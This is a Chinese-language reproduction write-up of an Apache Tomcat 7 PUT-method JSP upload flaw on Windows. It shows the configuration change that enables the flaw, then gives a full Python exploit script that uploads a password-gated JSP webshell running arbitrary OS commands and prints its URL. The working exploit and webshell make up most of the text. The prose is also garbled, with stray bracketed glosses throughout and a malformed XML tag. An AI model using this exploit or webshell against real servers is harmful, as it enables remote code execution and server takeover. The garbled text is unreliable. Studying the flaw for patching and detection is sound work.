漏洞描述:
當(dāng) Tomcat運(yùn)行在Windows操作系統(tǒng)時(shí),且啟用了HTTP PUT請(qǐng)求方法,攻擊者將有可能向服務(wù)器上傳惡意的 JSP 文件,并得到解析。
漏洞范圍:
Apache Tomcat 7.0.0 - 7.0.81
漏洞復(fù)現(xiàn):
這里下載Tomcat-7.0.70,配置Tomcat服務(wù)器
在Tomcat7.0版本默認(rèn)配置是開(kāi)啟readonly的,需要手動(dòng)配置readonly為false才可以進(jìn)行漏洞利用。
在D:\apache-tomcat-7.0.70\conf\web.xml進(jìn)行添加
<init-param>
<param-name>readonly</param-name>
<param-value>false<param-value>
</init-param>

保存后重啟tomcat。。
在tomcat默認(rèn)配置的情況下,返回403禁止。

當(dāng)修改配置后。
構(gòu)造jsp一句話木馬,返回http的201狀態(tài)碼。

該文件被成功寫(xiě)進(jìn)。。

訪問(wèn)123.jsp的shell文件。

也可以使用python語(yǔ)言exp進(jìn)行攻擊。

該shell文件被成功寫(xiě)進(jìn)。

python源碼為:
#coding:utf-8
#python2.7
import httplib
import sys
import time
def attack():
body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println(""+excuteCmd(request.getParameter("cmd"))+"");}else{out.println(":-)");}%>''' conn=httplib.HTTPConnection(sys.argv[1])
res=conn.request("OPTIONS","/docs/")
headers = dict(conn.getresponse().getheaders())
print headers
if 'allow' in headers and headers['allow'].find('PUT')>0:
conn.close()
conn = httplib.HTTPConnection(sys.argv[1])
url = "/" + str(int(time.time()))+'.jsp/'
conn.request(method='PUT', url= url, body=body)
res = conn.getresponse()
if res.status==201:
print 'shell:', 'http://'+sys.argv[1]+url
elif res.status==204:
print 'file exists'
else:
print 'error'
conn.close()
else:
print 'Server not vulnerable'
attack()
附加一圖:

參考資料: